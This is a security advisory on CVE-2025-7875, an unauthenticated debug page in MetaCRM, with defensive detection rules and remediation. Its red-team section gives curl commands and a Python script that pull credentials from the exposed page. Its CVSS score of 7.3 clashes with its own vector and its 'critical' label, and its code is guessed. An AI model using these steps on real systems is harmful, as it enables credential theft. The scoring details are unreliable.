CVE-2025-7875

Executive Summary

CVE-2025-7875 is a critical authentication bypass vulnerability affecting Metasoft 美特软件 MetaCRM versions up to 6.4.2. The flaw resides in the /debug.jsp endpoint, which fails to enforce proper authentication checks. An unauthenticated remote attacker can exploit this to access sensitive debug information, potentially leading to data exfiltration or further system compromise. The vendor has not responded to disclosure attempts, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based CRM application (MetaCRM) deployed on-premises. The risk is primarily to organizations using this software directly.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Network (AV:N) – Remotely exploitable.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only affected component.
• Confidentiality Impact: High (C:H) – Full access to debug information, potentially including sensitive data.
• Integrity Impact: High (I:H) – An attacker could modify debug settings or inject malicious data.
• Availability Impact: None (A:N) – The vulnerability does not directly cause denial of service.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit disclosure makes this a significant threat.

Deep Dive & Mechanics

The vulnerability is a classic authentication bypass (CWE-306) in the /debug.jsp page of MetaCRM. The application fails to verify the user's session or identity before serving the debug interface. This page is intended for developers or administrators to troubleshoot the system, but it is exposed without any access control.

Root Cause: The servlet or filter that handles requests to /debug.jsp does not check for a valid authentication token (e.g., session cookie, HTTP header). This allows any unauthenticated HTTP request to access the page.

Attack Vector: An attacker sends a simple GET request to http://target/debug.jsp. The server responds with the debug interface, which may include:

• Database connection strings
• Internal IP addresses and network topology
• Application source code snippets
• User session tokens
• Configuration files

Impact: An attacker can use this information to pivot deeper into the network, steal sensitive data, or launch further attacks. The integrity impact is high because the debug interface may allow modifying application state or injecting malicious commands.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable /debug.jsp
<%@ page import="java.sql.*" %>
<%
    // No authentication check
    String dbUrl = "jdbc:mysql://localhost:3306/metacrm";
    // ... display debug info
%>

A patched version would include an authentication check:

// Patched /debug.jsp
<%@ page import="java.sql.*" %>
<%
    // Authentication check
    if (session.getAttribute("user") == null) {
        response.sendRedirect("login.jsp");
        return;
    }
    String dbUrl = "jdbc:mysql://localhost:3306/metacrm";
    // ... display debug info
%>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running MetaCRM up to 6.4.2.
• Network access to the target's web interface.

Exploitation Steps:

1. Reconnaissance: Use Shodan or manual browsing to find exposed MetaCRM instances. Look for /debug.jsp in the response.

2. Direct Access: Send a GET request to the vulnerable endpoint:

   curl -v http://target/debug.jsp
   

3. Data Extraction: Parse the response for sensitive information. For example, extract database credentials:

   curl -s http://target/debug.jsp | grep -E "(jdbc:|password=|user=)"
   

4. Pivoting: Use extracted credentials to access the database or other internal services.

Example Exploit Script (Python):

import requests

target = "http://target/debug.jsp"
response = requests.get(target)
if response.status_code == 200:
    print("[+] Successfully accessed debug.jsp")
    print(response.text)
else:
    print("[-] Failed to access debug.jsp")

Blue Team

Detection:

• Monitor web server logs for requests to /debug.jsp from unusual IP addresses.
• Look for patterns of data exfiltration (large responses from /debug.jsp).

Hunting:

• Search for any successful requests to /debug.jsp in the last 30 days.
• Check for database connections originating from the web server that are not part of normal operations.

Containment:

• Immediately block access to /debug.jsp at the web server or firewall level.
• If possible, remove or rename the file.
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• File Path: /debug.jsp on the web server.
• HTTP Request: GET /debug.jsp with no authentication headers.
• Response Content: Contains database connection strings, internal IPs, or source code.
• Network Traffic: Unusual outbound connections from the web server to internal databases or other services.
• Log Entries: Web server access logs showing 200 responses for /debug.jsp from unknown IPs.

Detection Engineering

YARA Rule

rule Detect_MetaCRM_Debug_Access {
    meta:
        description = "Detects access to MetaCRM debug.jsp endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7875"
    strings:
        $debug_path = "/debug.jsp"
        $meta_crm = "MetaCRM" nocase
    condition:
        $debug_path and $meta_crm
}

Sigma Rule

title: MetaCRM Debug.jsp Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to MetaCRM debug.jsp endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7875
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/debug.jsp"
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7875 MetaCRM Debug.jsp Access"; flow:to_server; content:"GET"; http_method; content:"/debug.jsp"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block Access: Configure the web server (Apache, Nginx, IIS) to deny access to /debug.jsp. Example for Apache:

   <Files "debug.jsp">
       Require all denied
   </Files>
   

2. Remove File: If the file is not needed, delete it from the server.
3. Firewall Rule: Block external access to the web application if it is not required to be public.

Long-Term Fix:

• The vendor must release a patch that adds authentication checks to /debug.jsp. Since the vendor is unresponsive, consider migrating to a different CRM solution.
• Implement a Web Application Firewall (WAF) rule to block requests to /debug.jsp.
• Conduct a full security audit of the MetaCRM installation.

Compromise Assessment:

• Review web server logs for any successful requests to /debug.jsp.
• Check for unauthorized database queries or data exports.
• Rotate all credentials that may have been exposed.

Valters IT
Securing Digital Frontiers